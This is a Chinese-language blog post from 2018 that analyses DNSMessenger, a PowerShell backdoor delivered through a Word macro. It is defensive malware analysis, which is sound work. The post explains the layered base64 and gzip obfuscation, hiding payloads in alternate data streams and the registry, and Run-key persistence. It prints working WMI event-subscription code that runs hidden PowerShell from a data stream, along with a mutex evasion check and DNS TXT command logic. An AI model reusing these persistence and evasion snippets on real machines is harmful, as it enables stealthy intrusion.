基于DNS通信的Powershell恶意软件DNSMessenger分析

时间 : 2018-09-04 编辑 : DNS智能解析专家
分享 : 

写在前面的话


在这篇文章中,我将介绍通过分析DNSMessenger恶意软件提取的一些有趣见解,通过分析结果,讨论我使用的方法,并思考每个步骤的过程。


提取源代码


此恶意软件被发现在一个携带SHA-256 hash: 340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981的恶意Word文档中。为了从宏中提取VBA源代码,我使用了OLETools,安装OLETools之后,只需运行命令olevba <filepath>就可以显示出宏。


第1层 – VB和嵌入式PowerShell


这里,你会发现马上就遇到了难题,攻击者做的一些事情让脚本难以解开——作者嵌入了大量换行间距,广泛分散内容,使重要代码难以被发现。在使用OLETools显示宏之后,你还需要进行大量滚动才能读取整个脚本。更糟糕的是,如果你的终端具有有限的回滚缓冲区,则会隐藏部分脚本。


你还会注意到作者使用了无偿字符串连接来破坏简单的字符串签名——这有助于攻击者逃避静态分析工具,寻找像"winmgmts:\\.\root\cimv2"这样的字符串,并可能会被以下内容抛出:

"w" & "" & "in" & "" & "mgm" & "" & "ts" & "" & ":" & "" & "\\" & "." & "\r" & "" & "oot\c" & "" & "imv" & "" & "2"


名为lStr的变量中还包含一个大型Base64字符串,该变量由PowerShell命令包装,该命令对字符串进行解码。

lStr = "powershell -ep bypass -C ""$data = [System.Convert]::FromBase64String('H4sIAAAAAAAEAO1da3PayNL+7l+hol ... many many more lines ...


这是lStr的部分快照:

1

让我们解码它并进一步进行研究。


解开Base64


下面是一个简单的Python3脚本,用于解码前面提到的Base64 blob

import base64

import sys

with open(sys.argv[1]) as f:

    encoded = f.read()

sys.stdout.write(base64.b64decode(encoded))


解码后,你会注意到生成的内容仍然无法读取。我们可以通过几种方式知晓其内容是GZIP格式的:最显而易见的是,存储在lStr中的VB字符串具有使用System.IO.Compression.GZipStream对象解压缩解码内容的命令;另一种识别方式是通过其魔数(magic number),即开始文件签名(1F8B);我们还可以在Unix机器上使用file <filepath>命令来确定文件类型。


现在,我们将使用gunzip <filepath>解压缩内容,这会创建一个具有相同名称的解压缩文件,打开解压缩的文件将显示模糊的PowerShell代码(第2层),经过一些清理和重构后,脚本行为的一些有趣细节会变得更加明显。


第2层 – Base64解码和解压缩的PowerShell


滚动解压缩的脚本你会找到另一个Base64 blob,它充当下一阶段的有效负载,我将其命名为第3层有效负载。


存储有效负载


如果受害者具有PowerShell 3.0或更高版本,则该脚本将编码的第3层有效负载存储在名为kernel32.dll的备用数据流中,位于%PROGRAMDATA%\Windows\。恶意软件作者通常滥用ADS来编写隐藏数据,只需导航到目录并列出其文件,你就无法找到有效负载。如果受害者具有较旧版本的PowerShell,则该脚本会在注册表中为密钥添加名为Path的新属性,以存储有效内容。如果用户具有管理员权限,有效内容将存储在HKLM:Software\Microsoft\Windows\CurrentVersion中,否则,它将存储在HKCU:Software\Microsoft\Windows中。


注册表键


这些脚本在%PROGRAMDATA%\Windows\中创建了一个名为kernel32.vbs的备用数据流,并向其写入代码,该代码可以从上一步中存储的任何位置检索并执行有效负载。


每次用户登录等待30分钟后,攻击者会修改运行注册表项以执行kernel32.vbs。如果用户具有管理员权限,则目标密钥为HKLM:Software\Microsoft\Windows\CurrentVersion\Run\, 否则,目标密钥为HKCU:Software\Microsoft\Windows\CurrentVersion\Run\


创建新的WMI对象


如果用户具有管理员权限,则脚本将创建永久WMI事件订阅,该订阅会监视用户登录,30分钟之后执行编码的有效负载。此时,该程序已展示出足够的恶意,它会被SentinelOne检测到并被定义为恶意行为。


首先,它会删除现有的订阅:

gwmi __eventFilter -namespace root\subscription | Remove-WmiObject

gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject

gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject


然后它会创建自己的订阅。如果你有PowerShell 3.0或更高版本,逻辑会是这样的:

$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __EventFilter -Arguments @{Name = $kernel32_filter; EventNamespace = “root\CIMV2”; QueryLanguage = “WQL”; Query = “Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'”}

$event_consumer = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class CommandLineEventConsumer -Arguments @{Name = $kernel32_consumer; ExecutablePath = “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -C `"IEX `$(Get-Content -Path $windows_path -Stream $kernel32_dll|Out-String)`""}

Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __FilterToConsumerBinding -Arguments @{Filter = $event_filter; Consumer = $event_consumer}


定时任务


该脚本还会创建一个定时任务,以便在用户登录30分钟后运行恶意软件。用于启动恶意软件的方法仅略有不同,具体取决于用户是否具有管理员权限,如果用户是非管理员,则使用wscript执行kernel32.vbs的内容。否则,使用Invoke-Expression cmdlet


第3层 – DNS查询


现在我们已经讨论了攻击者实现恶意软件持久性的各种方法,让我们来看看下一个编码的有效负载是由什么造成的。


在Base64解码和一些手动反混淆之后,你会注意到函数逻辑开头的这段代码,它包含了if之后的许多其他代码。

[bool]$flag = $false;

$mutex = New-Object System.Threading.Mutex($true, "SourceFireSux", [ref] $flag);

if (!$flag) { exit; }


乍一看,似乎这个if之后的恶意代码应该永远不会执行,但由于构造System.Threading.Mutex的语义,静态分析工具或弱动态分析系统可能无法实现将$flag神奇地变为true。从Source Fire的厚颜无耻来看,可能是加入了这种特定的逃避技术,以阻止Source Fire分析。


很明显,代码使用nslookup命令重复查询DNS文本记录,这些查询的响应决定了程序的行为:

•"idle"会导致进程在3500到5400秒之间休眠,然后继续

•"stop"会提示进程退出

•继续

•使用Invoke-Expression执行查询响应


由于这些领域不再具有活性,我们将不得不依赖先前Edmund BrumaghinColin Grady at Talos的数据,因为它们进行了原始分析。


第4层 – 命令与控制通信


为了响应DNS文本查询,你必须发送另一个有效载荷,它包括一个gzip压缩和Base64编码的字符串,以及对第3层中dec函数的调用,用以解开它,所得的结果将传递给要执行的Invoke-Expression命令行。根据Talos的分析,这个有效负载重定向STDINSTDOUTSTDERR,以便攻击者可以读取和写入命令行处理器,有效负载执行更多DNS查询命令,并与命令和控制服务器建立通信通道。从这里开始,攻击者可以通过DNS文本查询、响应发送要在受害者计算机的命令行,来解释器上执行的命令,并接收这些命令的结果。


最后的话


这是一段较旧但有趣的恶意软件分析,我将其分解为4个不同的层并描述了每个层的属性,具体来说,是回顾了此恶意软件所采用的混淆方式,以及它用于实现持久性的不同方法。


来源:http://www.4hou.com/web/13152.html